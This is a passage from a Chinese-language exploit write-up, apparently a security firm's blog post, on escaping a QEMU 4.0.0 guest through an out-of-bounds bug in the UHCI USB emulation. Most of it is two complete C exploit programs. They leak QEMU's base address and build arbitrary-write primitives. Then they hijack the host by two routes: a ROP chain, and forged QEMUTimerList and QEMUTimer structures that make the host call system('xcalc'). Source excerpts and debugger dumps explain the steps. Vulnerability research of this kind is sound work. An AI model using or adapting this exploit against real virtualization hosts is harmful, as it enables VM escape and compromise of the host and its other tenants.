USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 0x2d #define USB_TOKEN_IN 0x69 /* device -> host */ #define USB_TOKEN_OUT 0xe1 /* host -> device */ #define QTD_TOKEN_TBYTES_SH 21 #define QTD_TOKEN_PID_SH 8 typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; typedef struct UHCI_TD { uint32_t link; uint32_t ctrl; /* see TD_CTRL_xxx */ uint32_t token; uint32_t buffer; } UHCI_TD; typedef struct UHCI_QH { uint32_t link; uint32_t el_link; } UHCI_QH; /* 板子操作 */ uint64_t virt2phys(void* p) { uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } uint32_t pmio_port = 0xc040; void die(const char* msg) { perror(msg); exit(-1); } uint32_t pmio_write(uint32_t addr, uint32_t value) { outl(value,pmio_port+addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(pmio_port+addr); } void init(){ /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/ dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); /* 上锁,防止被调度 */ mlock(dmabuf, 0x3000); td = dmabuf; qh = dmabuf + 0x100; setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; data_buf_oob = dmabuf + 0x2000; // printf("dmabuf addr: 0x%lxn", virt2phys(dmabuf)); } void reset_enable_port(){ // pmio_write(0, UHCI_CMD_RS); pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET); } //这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了 void set_UHCIState(){ int i = 0x10; //#define NB_PORTS 2 for(;i<=0x1f;i++) pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN); pmio_write(6, 0); pmio_write(8, virt2phys(td)); // fl_base_addr maybe we can make it stright to qh or td // printf("the addr of dmabuf:0x%lxn",virt2phys(dmabuf)); pmio_write(0, UHCI_CMD_RS); sleep(1); } void set_qh(){ qh->el_link = virt2phys(td); qh->link = virt2phys(td); // printf("the addr of td:0x%lxn",qh->link); } void init_state(){ //为了能走到漏洞函数那设置的条件 reset_enable_port(); //同上 set_qh(); //设置越界长度 setup_buf[6] = 0xff; setup_buf[7] = 0x0; //setup the index // setup_buf[4] = 0xffff & 0xff; // setup_buf[5] = (0xffff >> 8) & 0xff; /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度 需要进入do_token_setup 需要通过设置td->token值 */ td->link = virt2phys(td); td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21 ; td->buffer = virt2phys(setup_buf); // printf("the addr of setup_buf:0x%lxn",td->buffer); puts("set_UHCIState"); set_UHCIState(); } //设置越界长度,调用do_token_setup void set_length(uint16_t len, uint8_t option){ reset_enable_port(); set_qh(); setup_buf[0] = USB_TOKEN_IN | option; // setup_buf[4] = 0xffff & 0xff; // setup_buf[5] = (0xffff >> 8) & 0xff; //set the length setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = virt2phys(setup_buf); set_UHCIState(); } //越界读,调用do_token_in void do_copy_read(uint16_t len){ reset_enable_port(); set_qh(); //设置token进入do_token_in td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size td->buffer = virt2phys(data_buf); set_UHCIState(); } //越界写,调用do_token_out void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){ reset_enable_port(); set_qh(); if(len>8){ *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容 *(unsigned int *)(data_buf + 0x8 +offset) = setup_len; *(unsigned int *)(data_buf + 0xc+ offset) = setup_index; } td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_OUT | (len-1) << 21; td->buffer = virt2phys(data_buf); set_UHCIState(); } void setup_state_data(){ set_length(0x500, USB_DIR_OUT); } //任意写 void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); unsigned long offset = target_addr - data_buf_addr; set_length(0x1010, USB_DIR_OUT); puts("set index"); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); //除了0x400其他参数都可以随意设置 do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x10, 0x10); *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0, sizeof(payload)); } //任意读 impossible!!!!! unsigned long arb_read(uint64_t target_addr) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); puts("setup_index"); // getchar(); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); //将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, //因为usb_packet_copy后面还有s->setup_index += len 操作, s->setup_index 就会被设置成0xfffffff8 (-8) do_copy_write(0, 0x1010, 0xfffffff8-0x10, 0x10); *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN unsigned int target_offset = target_addr - data_buf_addr; /* 从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时: len = s->setup_len - s->setup_index 操作(0x1010-(-0x8)=0x1018),使得len变成0x1018 */ do_copy_write(0x8, 0xffff, target_offset - 0x18, 0x18); do_copy_read(0x400); // oob read return *(unsigned long *)(data_buf); } int main() { init(); iopl(3); sleep(3); init_state(); set_length(0x2000, USB_DIR_IN); for(int i = 0; i < 4; i++) do_copy_read(0x400); //set index 0x1000 do_copy_read(0x600); //read 0x600 to dmabuf struct USBDevice* usb_device_tmp=dmabuf+0x1004; struct USBDevice usb_device; // printf("sizeof(USBDevice):0x%lxn", sizeof(USBDevice)); memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); dev_addr = usb_device.ep_ctl.dev; data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%llxn", dev_addr); printf("USBDevice->data_buf: 0x%llxn", data_buf_addr); uint64_t *tmp=dmabuf+0x14f4+8; // const USBDescDevice *device; long long leak_addr = *tmp; if(leak_addr == 0){ printf("INIT DOWN,DO IT AGAINn"); return 0; } printf("the leak_addr: 0x%lxn", leak_addr); uint64_t base = leak_addr - 0x1013000; //qemu base uint64_t system_plt = base + 0x2B0F80; //get this by ida printf("leak base address : 0x%llx!n", base); printf("leak system_plt address: 0x%llx!n", system_plt); puts("get pci_dev"); set_length(0x7400, USB_DIR_IN); unsigned long find; do_copy_read(0x400); char *mask = "qxl-vga "; for(int i=1;;i++){ find = memmem(data_buf, 0x400, mask, 0x8); if(find == 0){ printf("find out %dn", i*0x400); do_copy_read(0x400); } else{ puts("find it"); break; } } unsigned long offset = (find&0xffffffff) - ((unsigned long)(data_buf)&0xffffffff) + 0x2400; printf("the offset is 0x%lxn", offset); unsigned long config_read_addr = data_buf_addr + offset + 0x398; unsigned long pci_dev = config_read_addr - 0x450; unsigned long name_addr = data_buf_addr + offset; printf("config_read_addr: 0x%llxn", config_read_addr); printf("pci_dev: 0x%llxn", pci_dev); printf("the name addr :0x%llxn", name_addr); unsigned long pop_rsp = base + 0x4866ab; // pop rsp; pop rbp; ret; unsigned long rop_start = base + 0xC2CB24; //push rax ; jp 0xc2cab1 ; jmp qword ptr [rax + 0x34] printf("rop_start: 0x%llxn", rop_start); arb_write(pci_dev+0x34, pop_rsp); //pop rax to rsp unsigned long rsp = pci_dev+0x8; //can't be pci_dev printf("new rsp: 0x%llxn", rsp); unsigned long pop_rax = base + 0x19460; // pop rax; ret; unsigned long pop_rdi = base + 0x6193d0; // pop rdi; ret; unsigned long call_rax = base + 0x73a1f5; // call rax; arb_write(rsp, pop_rax); arb_write(rsp+8, system_plt); arb_write(rsp+0x10, pop_rdi); arb_write(rsp+0x18, rsp+0x50); arb_write(rsp+0x20, call_rax); arb_write(rsp+0x50, 0x636c616378); arb_write(config_read_addr, rop_start); puts("alright"); system("lspci"); };
其中的任意读是不能用的。
第四种思路
这次的利用手法与第三种不同的是不需要借助另外的pci设备的。
启动脚本
./qemu-4.0.0/x86_64-softmmu/qemu-system-x86_64 -enable-kvm -append "console=ttyS0 root=/dev/sda rw" -m 1G -kernel ./linux/arch/x86/boot/bzImage -hda ./rootfs.img -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::33333-:22 -usb -device usb-tablet,bus=usb-bus.0 -nographic
QEMU中有时钟机制,其中有些函数是周期性调用的,而其相关参数有些是全局变量,联想到这个漏洞在usb1下可以利用任意写,可以在全局变量上为所欲为。
源码分析
看下timerlist_run_timers 以及调用链,直接源码中标出调用链,都是小编一个个跟过去看后分析出来的调用链。
bool qemu_clock_run_all_timers(void) { bool progress = false; QEMUClockType type; for (type = 0; type < QEMU_CLOCK_MAX; type++) { if (qemu_clock_use_for_deadline(type)) { progress |= qemu_clock_run_timers(type); //《------这里 } } return progress; } ========================================================= bool qemu_clock_run_timers(QEMUClockType type) { return timerlist_run_timers(main_loop_tlg.tl[type]); //《--------main_loop_tlg是全局变量,在bss段上,下面会给源码链接,在qemu-timer.c中 } ============================================================== bool timerlist_run_timers(QEMUTimerList *timer_list) { QEMUTimer *ts; int64_t current_time; bool progress = false; QEMUTimerCB *cb; void *opaque; bool need_replay_checkpoint = false; if (!atomic_read(&timer_list->active_timers)) { return false; } qemu_event_reset(&timer_list->timers_done_ev); if (!timer_list->clock->enabled) { goto out; } switch (timer_list->clock->type) { case QEMU_CLOCK_REALTIME: break; default: case QEMU_CLOCK_VIRTUAL: if (replay_mode != REPLAY_MODE_NONE) { /* Checkpoint for virtual clock is redundant in cases where * it's being triggered with only non-EXTERNAL timers, because * these timers don't change guest state directly. * Since it has conditional dependence on specific timers, it is * subject to race conditions and requires special handling. * See below. */ need_replay_checkpoint = true; } break; case QEMU_CLOCK_HOST: if (!replay_checkpoint(CHECKPOINT_CLOCK_HOST)) { goto out; } break; case QEMU_CLOCK_VIRTUAL_RT: if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL_RT)) { goto out; } break; } /* * Extract expired timers from active timers list and and process them. * * In rr mode we need "filtered" checkpointing for virtual clock. The * checkpoint must be recorded/replayed before processing any non-EXTERNAL timer, * and that must only be done once since the clock value stays the same. Because * non-EXTERNAL timers may appear in the timers list while it being processed, * the checkpoint can be issued at a time until no timers are left and we are * done". */ current_time = qemu_clock_get_ns(timer_list->clock->type); qemu_mutex_lock(&timer_list->active_timers_lock); while ((ts = timer_list->active_timers)) { if (!timer_expired_ns(ts, current_time)) { /* No expired timers left. The checkpoint can be skipped * if no timers fired or they were all external. */ break; } if (need_replay_checkpoint && !(ts->attributes & QEMU_TIMER_ATTR_EXTERNAL)) { /* once we got here, checkpoint clock only once */ need_replay_checkpoint = false; qemu_mutex_unlock(&timer_list->active_timers_lock); if (!replay_checkpoint(CHECKPOINT_CLOCK_VIRTUAL)) { goto out; } qemu_mutex_lock(&timer_list->active_timers_lock); //《----qemu_mutex_lock在data段指向另一函数,可以写成system,但是参数不太好搞,因为前面有对同样参数寻址 /* The lock was released; start over again in case the list was * modified. */ continue; } /* remove timer from the list before calling the callback */ timer_list->active_timers = ts->next; ts->next = NULL; ts->expire_time = -1; cb = ts->cb; //《================================函数指针改为system opaque = ts->opaque; //《==============================参数改为"xcalc" /* run the callback (the timer list can be modified) */ qemu_mutex_unlock(&timer_list->active_timers_lock); cb(opaque); //《=============================今天的重点 qemu_mutex_lock(&timer_list->active_timers_lock); progress = true; } qemu_mutex_unlock(&timer_list->active_timers_lock); out: qemu_event_set(&timer_list->timers_done_ev); return progress; }
对于全局变量main_loop_tlg的声明可查看下方链接:
https://elixir.bootlin.com/qemu/v4.0.0/source/util/qemu-timer.c#L58
一些结构体
想利用那个函数指针要看写结构体,小编把它们贴在下面,连带在ida中查的偏移。
struct QEMUTimerListGroup { QEMUTimerList *tl[QEMU_CLOCK_MAX]; }; struct QEMUTimerList { QEMUClock *clock; QemuMutex active_timers_lock; QEMUTimer *active_timers; QLIST_ENTRY(QEMUTimerList) list; QEMUTimerListNotifyCB *notify_cb; void *notify_opaque; /* lightweight method to mark the end of timerlist's running */ QemuEvent timers_done_ev; }; 00000000 QEMUTimerList struc ; (sizeof=0x70, align=0x8, copyof_325) 00000000 clock dq ? ; offset 00000008 active_timers_lock QemuMutex_0 ? 00000040 active_timers dq ? ; offset 00000048 list $30880CACBE280706FC09BACC7C01742E ? 00000058 notify_cb dq ? ; offset 00000060 notify_opaque dq ? ; offset 00000068 timers_done_ev QemuEvent_0 ? 00000070 QEMUTimerList ends 00000070 struct QEMUTimer { int64_t expire_time; /* in nanoseconds */ QEMUTimerList *timer_list; QEMUTimerCB *cb; //<------system_plt void *opaque; //<------"xcale" QEMUTimer *next; int attributes; int scale; }; 00000000 QEMUTimer struc ; (sizeof=0x30, align=0x8, copyof_1103) 00000000 expire_time dq ? 00000008 timer_list dq ? ; offset 00000010 cb dq ? ; offset 00000018 opaque dq ? ; offset 00000020 next dq ? ; offset 00000028 attributes dd ? 0000002C scale dd ? 00000030 QEMUTimer ends 00000030 pwndbg> p *(QEMUTimer*)0x55f705b1a4e0 $3 = { expire_time = 1622073600346841000, timer_list = 0x55f705383710, cb = 0x55f702bb2b5c <rtc_update_timer>, opaque = 0x55f7052fa050, next = 0x0, attributes = 0, scale = 1 } QEMUTimerList $7 = { clock = 0x55b5268c66a0 <qemu_clocks>, base+0x12546a0 active_timers_lock = { lock = pthread_mutex_t = { Type = Normal, Status = Not acquired, Robust = No, Shared = No, Protocol = None }, file = 0x0, line = 0, initialized = true }, active_timers = 0x0, list = { le_next = 0x0, le_prev = 0x55b528589a58 heap+0x111a58 }, notify_cb = 0x55b525975c52 <qemu_timer_notify_cb>, base+0x303c52 notify_opaque = 0x0, timers_done_ev = { value = 0, initialized = true } } 00000000 QemuMutex_0 struc ; (sizeof=0x38, align=0x8, copyof_202) 00000000 ; XREF: .bss:map_client_list_lock/r 00000000 ; .bss:qemu_global_mutex/r ... 00000000 lock pthread_mutex_t ? 00000028 file dq ? ; offset 00000030 line dd ? 00000034 initialized db ? 00000035 db ? ; undefined 00000036 db ? ; undefined 00000037 db ? ; undefined 00000038 QemuMutex_0 ends
利用思路
然后因为没有任意地址读,加上全局变量里套的结构体QEMUTimerList是个指针,想直接通过全局变量写里面的结构体不太现实,我们只能改指针指向的值,也就是说只能伪造,小编有想过用累积读,一次读0x400,但是看地址顺序,他似乎在data_buf上面。
虽然有main_loop_tlg这个全局变量的地址,但是里面指针对应的值因为地址范围问题,在QEMU中的用户态程序无法访问其地址,所以对读其地址然后修改结构体中关键值死心了。
所以想到的另外的方法就是伪造结构体,然后修改main_loop_tlg中的指针指向的值,指向我们伪造的结构体,但是这个的难点就是在调用想要的函数之前其他函数会访问结构体中其余一些参数,所以伪造的话要伪造的完整点,也就是结构体中的其余成员我们也要填充上合理数据,我是直接找参数里有他的函数,然后看此时结构体里的值都有啥,尽量复原,结构体中初始化后的内容在上面贴出来了。
幸运的是里面的值大多为0或1,个别的可以通过QEMU加载的基址和heap的基址加固定偏移得到。
伪造的结构体放哪呢,起初是放到mmap出的dmabuf上了,但是那个地址任意写会崩,所以选择了另外两个方法,堆或者bss段上。
幸运的是,USBDevice结构图本身就是在堆上的,而恰好在前面得到了其基址,那么显然data_buf也是在堆上的,其有着0x1000的大空间,我们也有其基址,所以想到写到data_buf上,但是由于操作原因,各种失误导致心态爆炸,最终选择了写bss上,找一找bss段,随便找一大片的空白,然后我们就开造!
mybss|__________________________________ | mybss+0x10| QEMUTimerList | mybss+0x10+0x34+8| QEMUTimerList->active_timer_lock | mybss+0x40| QEMUTimerList->active_timers | mybss+0x58| QEMUTimerList->notify_cb | mybss+0x60| QEMUTimer->opaque | mybss+0x6c|QEMUTimer->timer_done_env->initialized| mybss+0x100| QEMUTimer | mybss+0x100+8| QEMUTimer->timer_list | mybss+0x100+0x10| system_plt(QEMUTimer->cb) | mybss+0x100+0x18| bss+0x300(QEMUTimer->opaque) | mybss+0x300| 0x636c616378("xcalc") |
- timerlist_run_timers中调用有函数指针,其函数和参数完全可控,即cb(opaque),可以将其覆盖为system以及”xcalc”;
- 通过ida找一片大片空的bss段,然后将上面画的伪造结构体布置在上面,用构造的任意写原语写;
- 将main_loop_tlg结构体中第一个tl指针改为选定的bss+10,也即QEMUTimerList开头;
- 经过上述步骤后再运行timerlist_run_timers中的cb(opaque)时就能触发我们布置的system(“xcalc”)。
exp
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdint.h> #include <stdbool.h> struct UHCI_QH * qh; struct UHCI_TD * td; char *dmabuf; char *setup_buf; unsigned char *data_buf; unsigned char *struct_dma; uint32_t *entry; uint64_t dev_addr; uint64_t data_buf_addr; uint64_t USBPort_addr; #define UHCI_CMD_FGR (1 << 4) #define UHCI_CMD_EGSM (1 << 3) #define UHCI_CMD_GRESET (1 << 2) #define UHCI_CMD_HCRESET (1 << 1) #define UHCI_CMD_RS (1 << 0) //run /Stop #define UHCI_PORT_SUSPEND (1 << 12) #define UHCI_PORT_RESET (1 << 9) #define UHCI_PORT_LSDA (1 << 8) #define UHCI_PORT_RSVD1 (1 << 7) #define UHCI_PORT_RD (1 << 6) #define UHCI_PORT_ENC (1 << 3) #define UHCI_PORT_EN (1 << 2) //enable #define UHCI_PORT_CSC (1 << 1) #define UHCI_PORT_CCS (1 << 0) //connect status #define UHCI_PORT_READ_ONLY (0x1bb) #define UHCI_PORT_WRITE_CLEAR (UHCI_PORT_CSC | UHCI_PORT_ENC) #define TD_CTRL_ACTIVE (1 << 23) //uhci_handle_td中需要td->ctrl为这个值不然过不去 #define TD_CTRL_SPD (1 << 29) //we need this to allow we send more than two #define PORTSC_PRESET (1 << 8) // Port Reset #define PORTSC_PED (1 << 2) // Port Enable/Disable #define USBCMD_RUNSTOP (1 << 0) // run / Stop #define USBCMD_PSE (1 << 4) // Periodic Schedule Enable #define USB_DIR_OUT 0 #define USB_DIR_IN 0x80 #define QTD_TOKEN_ACTIVE (1 << 7) #define USB_TOKEN_SETUP 0x2d #define USB_TOKEN_IN 0x69 /* device -> host */ #define USB_TOKEN_OUT 0xe1 /* host -> device */ #define QTD_TOKEN_TBYTES_SH 21 #define QTD_TOKEN_PID_SH 8 typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15]; USBEndpoint ep_out[15]; }; typedef struct UHCI_TD { uint32_t link; uint32_t ctrl; /* see TD_CTRL_xxx */ uint32_t token; uint32_t buffer; } UHCI_TD; typedef struct UHCI_QH { uint32_t link; uint32_t el_link; } UHCI_QH; /* 板子操作 */ uint64_t virt2phys(void* p) { uint64_t virt = (uint64_t)p; // Assert page alignment int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) die("open"); uint64_t offset = (virt / 0x1000) * 8; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) != 8) die("read"); // Assert page present phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff); return phys; } uint32_t pmio_port = 0xc040; void die(const char* msg) { perror(msg); exit(-1); } uint32_t pmio_write(uint32_t addr, uint32_t value) { outl(value,pmio_port+addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(pmio_port+addr); } void init(){ /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/ dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); /* 上锁,防止被调度 */ mlock(dmabuf, 0x3000); td = dmabuf; qh = dmabuf + 0x100; setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; struct_dma = dmabuf + 0x2000; printf("dmabuf addr: 0x%llxn", virt2phys(dmabuf)); } void reset_enable_port(){ /* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc 对该字段写操作会调用到ehci_port_write */ // pmio_write(0, UHCI_CMD_RS); pmio_write(0, 0 | UHCI_CMD_EGSM | UHCI_CMD_HCRESET); } //这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了 void set_UHCIState(){ int i = 0x10; //#define NB_PORTS 2 for(;i<=0x1f;i++) pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN); pmio_write(6, 0); pmio_write(8, virt2phys(td)); // fl_base_addr maybe we can make it stright to qh or td // printf("the addr of dmabuf:0x%lxn",virt2phys(dmabuf)); pmio_write(0, UHCI_CMD_RS); sleep(1); } void set_qh(){ qh->el_link = virt2phys(td); qh->link = virt2phys(td); // printf("the addr of td:0x%lxn",qh->link); } void init_state(){ //为了能走到漏洞函数那设置的条件 reset_enable_port(); //同上 set_qh(); //设置越界长度 setup_buf[6] = 0xff; setup_buf[7] = 0x0; //setup the index setup_buf[4] = 0xffff & 0xff; setup_buf[5] = (0xffff >> 8) & 0xff; /* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度 需要进入do_token_setup 需要通过设置qtd->token值 */ td->link = virt2phys(td); td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21 ; td->buffer = virt2phys(setup_buf); // printf("the addr of setup_buf:0x%lxn",td->buffer); puts("set_UHCIState"); set_UHCIState(); } //设置越界长度,调用do_token_setup void set_length(uint16_t len, uint8_t option){ reset_enable_port(); set_qh(); setup_buf[0] = USB_TOKEN_IN | option; // setup_buf[4] = 0xffff & 0xff; // setup_buf[5] = (0xffff >> 8) & 0xff; //set the length setup_buf[6] = len & 0xff; setup_buf[7] = (len >> 8 ) & 0xff; td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_SETUP | 0x7 << 21; td->buffer = virt2phys(setup_buf); set_UHCIState(); } //越界读,调用do_token_in void do_copy_read(uint16_t len){ reset_enable_port(); set_qh(); //设置token进入do_token_in td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_IN | (len-1) << 21; //设置p->iov.size td->buffer = virt2phys(data_buf); set_UHCIState(); } //越界写,调用do_token_out void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index, uint16_t len){ reset_enable_port(); set_qh(); if(len>8){ *(unsigned long *)(data_buf + offset) = 0x0000000200000002; // 覆盖成原先的内容 *(unsigned int *)(data_buf + 0x8 +offset) = setup_len; *(unsigned int *)(data_buf + 0xc+ offset) = setup_index; } td->ctrl = TD_CTRL_ACTIVE | TD_CTRL_SPD; td->token = USB_TOKEN_OUT | (len-1) << 21; td->buffer = virt2phys(data_buf); set_UHCIState(); } void setup_state_data(){ set_length(0x500, USB_DIR_OUT); } //任意写 void arb_write(uint64_t target_addr, uint64_t payload) { setup_state_data(); unsigned long offset = target_addr - data_buf_addr; set_length(0x1010, USB_DIR_OUT); puts("set index"); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x1010, 0x400); do_copy_write(0, offset+0x8, offset-0x10, 0x10); *(unsigned long *)(data_buf) = payload; do_copy_write(0, 0xffff, 0, sizeof(payload)); } //任意读 impossible!!!!! unsigned long arb_read(uint64_t target_addr) { setup_state_data(); set_length(0x1010, USB_DIR_OUT); puts("setup_index"); // getchar(); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); do_copy_write(0, 0x1010, 0xfffffff8-0x1010, 0x400); //将setup_len 设置成0x1010,将setup_index设置成0xfffffff8-0x1010, //因为usb_packet_copy后面还有s->setup_index += len 操作, s->setup_index 就会被设置成0xfffffff8 (-8) do_copy_write(0, 0x1010, 0xfffffff8-0x10, 0x10); *(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN unsigned int target_offset = target_addr - data_buf_addr; /* 从data_buf-8处开始写,覆盖了setup字段,将setup[0] 设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时: len = s->setup_len - s->setup_index 操作(0x1010-(-0x8)=0x1018),使得len变成0x1018 */ do_copy_write(0x8, 0xffff, target_offset - 0x18, 0x18); do_copy_read(0x400); // oob read return *(unsigned long *)(data_buf); } int main() { init(); iopl(3); sleep(3); init_state(); set_length(0x2000, USB_DIR_IN); for(int i = 0; i < 4; i++) do_copy_read(0x400); //set index 0x1000 do_copy_read(0x600); //read 0x600 to dmabuf struct USBDevice* usb_device_tmp=dmabuf+0x1004; struct USBDevice usb_device; // printf("sizeof(USBDevice):0x%lxn", sizeof(USBDevice)); memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice)); dev_addr = usb_device.ep_ctl.dev; data_buf_addr = dev_addr + 0xdc; printf("USBDevice dev_addr: 0x%llxn", dev_addr); printf("USBDevice->data_buf: 0x%llxn", data_buf_addr); uint64_t *tmp=dmabuf+0x14f4+8; // const USBDescDevice *device; long long leak_addr = *tmp; if(leak_addr == 0){ printf("INIT DOWN,DO IT AGAINn"); return 0; } printf("the leak_addr: 0x%lxn", leak_addr); uint64_t base = leak_addr - 0x1013000; //qemu base uint64_t system_plt = base + 0x2B0F80; //get this by ida printf("leak base address : 0x%llx!n", base); printf("leak system_plt address: 0x%llx!n", system_plt); // uint64_t pop_rsp = base + 0x4866ab; // pop rsp; pop rbp; ret; // uint64_t rop_start = base + 0xC2CB24; //push rax ; jp 0xc2cab1 ; jmp qword ptr [rax + 0x34] // uint64_t pop_rax = base + 0x19460; // pop rax; ret; // uint64_t pop_rdi = base + 0x6193d0; // pop rdi; ret; // uint64_t call_rax = base + 0x73a1f5; // call rax; uint64_t qemu_mutex_lock_func = base + 0x1207940; uint64_t main_loop_tlg = base + 0x1254680; printf("the main_loop_tlg ptr to 0x%llxn", main_loop_tlg); unsigned long bss = base+0x1246070; printf("the bss to 0x%llxn", bss); unsigned long QEMUTimerList = bss+0x10; printf("the struct_addr in 0x%llxn", QEMUTimerList); puts("set clock"); arb_write(QEMUTimerList, base+0x12546a0); //clock puts("set active_timers_lock"); arb_write(QEMUTimerList+0x34+8, 1); //QEMUTimerList->active_timers_lock // puts("set initialized"); // arb_write(QEMUTimerList+0x34+8, 1); puts("set active_timers"); arb_write(QEMUTimerList+0x40, bss+0x100); //QEMUTimerList->active_timers puts("set notify_cb"); arb_write(QEMUTimerList+0x58, base+0x111a58); //QEMUTimerList->notify_cb puts("set notify_opaque"); arb_write(QEMUTimerList+0x60, bss+0x300); //QEMUTimer->opaque puts("timer_done_env"); arb_write(QEMUTimerList+0x6c, 0x1); unsigned long QEMUTimer = bss+0x100; // printf("the sizeof(uint64_t) %dn", sizeof(QEMUTimer)); //8 arb_write(QEMUTimer+8, QEMUTimerList); //qemutimer->timer_list arb_write(QEMUTimer+0x10, system_plt); //cb arb_write(QEMUTimer+0x18, bss+0x300); //opaque arb_write(bss+0x300, 0x636c616378); //"xcalc" puts("set main_loop_tlg"); // getchar(); arb_write(main_loop_tlg, QEMUTimerList); puts("alright"); arb_write(qemu_mutex_lock_func, system_plt); // getchar(); sleep(5); };
其中两个为true的initialized必须要设置,QEMU有对其为true的断言,如果为0会直接abort。
欢迎关注星阑科技微信公众号,了解更多安全干货~